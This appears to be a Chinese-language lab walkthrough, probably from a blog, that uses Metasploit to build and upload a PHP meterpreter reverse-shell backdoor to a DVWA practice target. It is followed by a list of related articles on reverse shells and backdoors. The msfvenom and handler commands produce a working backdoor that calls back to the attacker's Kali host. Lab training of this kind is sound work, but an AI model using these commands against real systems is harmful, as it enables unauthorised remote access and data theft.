环境准备

操作系统准备

kali ： 192.168.202.133

win10：192.168.202.139

DVWA靶场准备

DVWA下载

注意：配置DVWA环境准备PHP7.0以上，和 Nginx环境

设置网站

配置数据库密码
与数据库设置保持一致

metasploit配置监控及攻击载荷

配置监控

使用handler模块

use exploit/multi/handler

配置攻击载荷

第一步设置payload
set payload php/meterpreter/reverse_tcp

第二步设置 lhost 和 lport
set lhost xxxip ；
set lport xxx端口；

生成php后门

执行攻击获得meterpreter
新建一个终端在终端内输入

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.202.133 lport=4664 R>shell.php

上传后门文件

使用Python简单的web服务，把后门文件下载到WIN10

访问该木马文件

后渗透获取数据库信息

PHP后门反弹连接DVWA相关推荐

木马病毒隐身穿墙术解密之文件注入和反弹连接
作者: 刘源比特网 2010-04-01 12:05:08 木马病毒隐身穿墙术解密之文件注入和反弹连接对于木马病毒当前所使用的隐身和穿墙术,到这篇已经是第三篇了,虽然每篇的篇幅都不是很长,但每篇都 ...
metasploit完整的使用流程包括meterpreter后渗透
metasploit完整的使用流程包括meterpreter后渗透主机发现基于ARP发现内网存活主机基于FTP服务基于HTTP服务基于SMB 漏洞扫描漏洞渗透利用利用ms17_010 利 ...
【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端，受害者主机（无公网IP）主动连接攻击者的服务端程序（CC server），开启一个shell交互，就叫反弹shell。...
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹. 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常 ...
2018-2019-2 20165315 《网络对抗技术》Exp2+ 后门进阶
2018-2019-2 20165315 <网络对抗技术>Exp2+ 后门进阶一.实验要求以下三个课题三选一 1.其他专用后门工具研究(CROSSRAT ...) 2.恶意代码绑定技术 ...
#20155235 《网络攻防》实验二后门原理与实践
20155235 <网络攻防> 实验二后门原理与实践实验目的建立一个后门连接是如此的简单,功能又如此强大.通过亲手实践并了解这一事实,从而提高自己的安全意识 . 实验内容 (1)使用 ...
2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165211
目录后门原理与应用实验内容基础问题回答常用后门工具 Netcat Socat MSFmeterpreter 实践过程记录 1.后门工具熟悉 2.使用netcat获取主机操作Shell,cron ...
Exp2 后门原理与实践 20164323段钊阳
220164323 Exp2 后门原理与实践 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在使用盗版软件,盗版系统,甚至游戏外挂时,往往会让我们关闭杀毒软件,. (2)例举你知道的后门如何 ...
2018-2019 Exp2 后门原理与实践
2018-2019 Exp2 后门原理与实践目录一.实验内容说明及基础问题回答二.工具准备查看WindowsIP和LinuxIP Windows获得Linuxshell Linux 获得Win ...
2018-2019-2 网络对抗技术 20165328 Exp2 后门原理与实践
实验内容: 任务一:使用netcat获取主机操作Shell,cron启动任务二:使用socat获取主机操作Shell, 任务计划启动任务三:使用MSF meterpreter(或其他软件)生成可执 ...

PHP后门反弹连接DVWA